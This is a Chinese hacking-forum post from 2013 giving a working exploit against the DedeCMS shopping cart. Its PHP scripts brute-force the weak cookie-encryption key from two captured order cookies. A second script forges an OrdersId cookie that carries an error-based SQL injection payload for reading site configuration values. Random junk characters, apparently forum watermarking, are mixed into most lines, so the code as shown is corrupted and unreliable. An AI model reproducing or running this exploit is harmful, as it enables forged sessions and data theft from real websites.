找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2120|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=2 R. o+ h  B1 k" U
在 include/shopcar.class.php中3 c* y/ C) d7 M( g6 j, n
先看一下这个shopcar类是如何生成cookie的
) e& X8 u, N3 F/ c3 v239      function saveCookie($key,$value)) c  v6 \  G: ^8 ?6 ]2 b
240      {/ k& d/ y' \8 {) t/ ?8 u6 i
241          if(is_array($value))8 L2 d6 C' F& G3 @6 }
242          {
* D8 M3 X( q; h5 Z" y) x* P& e2 L243              $value = $this->enCrypt($this->enCode($value));5 v( I: B6 v9 j: R/ K6 f! z7 r
244          }) w8 z4 u( \' F
245          else8 x# j# K9 ^) `/ @3 |+ O8 ~) }
246          {/ u3 |  i& R, m& d& D- x& X- G
247              $value = $this->enCrypt($value);
7 M& U0 c9 h& h3 x& \248          }
0 L' w" Z) Q' U( Z6 f* ?: J249          setcookie($key,$value,time()+36000,’/');
) F) |5 \, t  _6 T+ }' ~# a250      }
' T+ a) U* A# g6 G1 W简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
$ H( a/ F+ p3 I4 ]* p4 R& ?: ]& v186      function enCrypt($txt)
, w% o2 a  r$ N# N# U. |0 C187      {
- ~- ]( [5 s3 a! ^9 j' w188          srand((double)microtime() * 1000000);
/ G$ \5 Z5 C" M* x6 ]( s189          $encrypt_key = md5(rand(0, 32000));  a; i  e! j4 m; e! X4 J
190          $ctr = 0;. ]' w6 ]/ A; @  ?
191          $tmp = ”;
. i9 |6 F, L* o7 h# H) v) w- o192          for($i = 0; $i < strlen($txt); $i++)
! [1 U1 Z3 f( U( Y' ^! o9 J2 r! H193          {
9 ?6 k; ~( h8 `# n) _) ?194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;- l; G% W! f4 e
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
8 Z* z& k# N& e7 Z, c6 a' V. S196          }
- q# d& a1 L5 i! v197          return base64_encode($this->setKey($tmp));
" Y6 i. g3 b3 C3 [$ n2 |198      }
- a0 {* z$ |# g9 ]' ]- P$ Q213      function setKey($txt)
: H+ c4 A% r0 j/ t214      {3 T* V0 z( `8 }5 J
215          global $cfg_cookie_encode;6 }# y, w2 p# U) x: J
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
3 Z; S' x9 L" F$ K. U217          $ctr = 0;+ E! W% ?1 |3 [* c) b! p. ?
218          $tmp = ”;; ^+ C# O9 }6 J3 B+ y( E1 G- w; u
219          for($i = 0; $i < strlen($txt); $i++)! [9 z1 c6 q5 r3 u  h, L
220          {
" U% T5 S" r" R  S221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. i4 p) r% T7 l222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) P  L& w2 @. ^) \9 i; X3 m
223          }
' @+ b6 u  v5 k224          return $tmp;
) Z7 D+ m5 T* x( R225      }  d. O' B7 J6 l
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
' j) Z. H5 B! o- A  m% w然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。" E- ]  L  h* C' P6 L7 r
具体代码如下:
% Q' s8 x4 I2 y% d4 n6 y) b<?php* [0 ~0 M1 g/ f, K) N: p
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here* @. T% F- B/ J; I0 i7 U1 Z7 q
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
7 C: m! K& G6 D# o9 Y- v0 C$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here9 i- J5 c$ h2 t( }. V3 ~
function reStrCode($code,$string)
7 Q; F& k9 |; s5 l7 X6 s{
6 s  j- Z3 C% p$code = base64_decode($code);( V# }$ X" T7 b$ F$ K3 [
$key = “”;% Q) C9 j7 Y" a% z' e" Z' V
for($i=0 ; $i<32 ; $i++)
' n) W2 T9 t9 T# g7 V& N$ `5 j7 l, h{/ j; r4 N5 ?2 C5 s# \3 @
$key .= $string[$i] ^ $code[$i];
; e% G2 A6 M' P  Z# Z( ]}
, ~6 Z* n) B* D5 Wreturn $key;5 ?; z# k  z2 }3 q; K
}
6 G0 E& b6 |7 r+ ~% A  s: efunction getKeys($cookie,$plantxt)
9 |5 Z0 o; P: E8 Q" x{- Z7 \5 u. J4 N
$tmp = $cookie;( [1 e, k2 D  \3 \3 m1 A& Y& F4 o
$results = array();6 S6 h0 G3 B* [" A, }: t, y
for($j=0 ; $j < 32000; $j++)
1 l5 o* }" N2 b# o$ N0 V0 o6 j{
3 l" h$ L! f7 ?1 q( z% n+ V5 ~1 S: ~% r
$txt = $plantxt;
% i+ t( x" V, I% k# \4 z$ctr = 0;0 W  r0 ~* d! Q; }9 }0 Z! g
$tmp = ”;
) @3 |  P( l1 L  [% [6 z$encrypt_key = md5($j);+ j+ l3 N' H$ z$ h7 |- d
for($i =0; $i < strlen($txt); $i ++)% J, @3 D; F0 d  E
{
4 \3 ?7 c6 o9 O7 g$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 z0 }0 _/ b# U# X2 ~3 j" F0 `$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
; B% w8 @6 C1 ?' I- ]}- g4 x& n2 C+ X% f" w
$string = $tmp;% N- z5 h6 a8 M* j9 W% s8 k. N. {  O  V
$code = $cookie;
6 n: E/ N" _( i7 v$result = reStrCode($code,$string);# u7 N# z( k! n' n8 ^. @3 w$ }& r
if(eregi(‘^[a-z0-9]+$’,$result))8 u" A8 |- Q0 A  G* V& e/ w& N& J& w
{
: e+ U4 @- u) i: {echo $result.”\n”;
* {4 _$ S$ S' `! q: {  b6 B8 z( X$results[] = $result;
+ e( \) {/ T6 K! d* m}
$ e3 W: P0 C! {! Q8 V}  B% y' s# c- X4 v3 T) s
return $results;0 Z( m9 C: L- Q
}) {1 @" u; T1 `
$results1 = getKeys($cookie1,$plantxt);5 K8 J, X- U; U3 G' L: C4 e
$results2 = getKeys($cookie2,$plantxt);
2 I3 E0 [; ]9 j' L, [print “\n——————–real key————————–\n”;
" G' r* ]; O, Q4 tforeach($results1 as $test1)
8 n7 F  E% D' [( q2 S6 b0 ~{
  J$ k  ?( ~( o* L7 A; `- oforeach($results2 as $test2)# v2 X* X& X' x! g% N. e
{
2 e( A* q) r( M% K2 ^if($test1 == $test2)
" T: q9 t( }$ D+ Q{
" o& h+ o$ j" f9 @( Yecho $test1.”\n”;& |9 ~. ]2 v/ {' L5 S! U2 R: b
}
, s7 f& |5 |7 d9 X- Q  y9 I; D}+ b3 T2 l% C8 @6 }( A* f
}. j8 w1 p! Y$ L# U
?># q1 l0 D& X$ z# }$ I6 p
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
( P( i' y. m, @+ M, g! a" C3 ?4 mplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
# p4 u, s1 o. }. R( g3 S然后推算出md5(strtolower($cfg_cookie_encode))0 {( n6 c& C2 I9 d$ C% t" q8 w. y
得到这个key之后,我们就可以构造任意购物车的cookie
" [2 |% C: }# y# o接着看" Y( Z  i; t* j5 b  O2 k
20  class MemberShops
6 E5 J6 h6 R/ d6 Z  t( T" ^21  {
/ m' S7 Z- D7 t- W22      var $OrdersId;
; ^# q3 \" L: L23      var $productsId;
/ b' f! y  x% S) i- M: \5 q24. [; ]* J+ }- G1 W
25      function __construct()
3 M9 {7 z6 ~4 b: u9 l5 h) \26      {
  _: x( j# m; C" _2 U  y4 j27          $this->OrdersId = $this->getCookie(“OrdersId”);
: f+ n9 b! C) o28          if(empty($this->OrdersId))4 L# r3 h4 h9 V+ e! f  }* B; b5 ]
29          {
1 U, L* g& b% Z) k# Q' c30              $this->OrdersId = $this->MakeOrders();
: g; n5 W  H0 q5 u31          }
3 [; F  c+ Y' L! d32      }
7 u& {( e! M  t7 ^, B) m# z发现OrderId是从cookie里面获取的
: C9 l+ n2 `; t. M1 L# s  ?, U/ V7 H然后
: @8 F! X. {) s9 O9 T: h( }! \/plus/carbuyaction.php中的1 o, p9 t$ w9 t* z& J
29      $cart    = new MemberShops();( Z3 Y: h- D' U, Z4 Y2 O+ p
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号# v/ P6 X0 O4 v  O2 ?5 D* a1 t2 h
……
7 R5 P3 e' q/ ?173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
1 S. ^. K( [- B8 Z接着我们就可以注入了4 k& F3 \% g- J( O# p
通过利用下面代码生成cookie:9 E+ U  [8 T3 @- G" G
<?php
; b& t+ m) r2 @2 K$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
- _% ~6 w% ]" F; |& [3 n1 }$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here5 c8 N- ~: }4 y( c: M  e% k
function setKey($txt)2 v; W' W' @/ t2 ~
{
# Q& P1 E! _4 fglobal $encrypt_key;
, Q& t6 J9 d4 e) W8 R$ctr = 0;6 h# M/ O8 k8 [* H. u# H) K
$tmp = ”;, M2 T+ `9 B' Y! d& b0 r) P. o
for($i = 0; $i < strlen($txt); $i++). J, {' ]( a% ]- w
{
9 H" Q; {# I, m5 k% U" f$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 S7 d4 E$ ^7 m' _) [- S
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
* y# n. T# u: k% K3 D}0 ~( z/ _1 K; I( n7 w
return $tmp;
9 T* w5 A" T; P8 u: [9 i# t! f}( t) ^0 v/ V. d8 v2 i; b
function enCrypt($txt)% U+ N3 P9 S5 j5 \- Z
{
& d: J, E6 Z" a1 @srand((double)microtime() * 1000000);& R7 i, o0 R5 K0 [
$encrypt_key = md5(rand(0, 32000));% H* c7 \+ H, S" r0 w6 I
$ctr = 0;
& g' ]5 V8 {# Q. e9 l+ m6 D0 u& `, C$tmp = ”;
* z# [$ C$ r' ^for($i = 0; $i < strlen($txt); $i++)  \) J! Z7 L" _! q. l
{
3 j; [+ J7 k. _- T$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 }/ f9 I3 v' d4 D! r
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 M; G7 [0 N& i- g1 H7 G. R
}4 q: K7 n4 T% ]' N9 G- ?, a
return base64_encode(setKey($tmp));6 ~7 e& s. K0 [8 i7 ~3 p
}
: O8 N3 b3 C% V8 o/ p# `( tfor($dest =0;$dest = enCrypt($txt);), k: \. [7 ]7 {7 f7 I
{
5 n6 }2 Y/ w, \2 w: y- y" }if(!strpos($dest,’+'))3 P; S1 A* k6 @6 Q9 J
{8 `* N5 E; o  x# [
break;) M. L3 O# }5 k
}
+ x! N+ X8 f/ o) {, t9 X5 R}2 B8 l4 N: o/ T( R* q
echo $dest.”\n”;
7 Q! h. v6 L2 b) O/ r8 a?>, ^9 s3 a' v+ J. O
7 J4 J4 U9 U/ T! F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表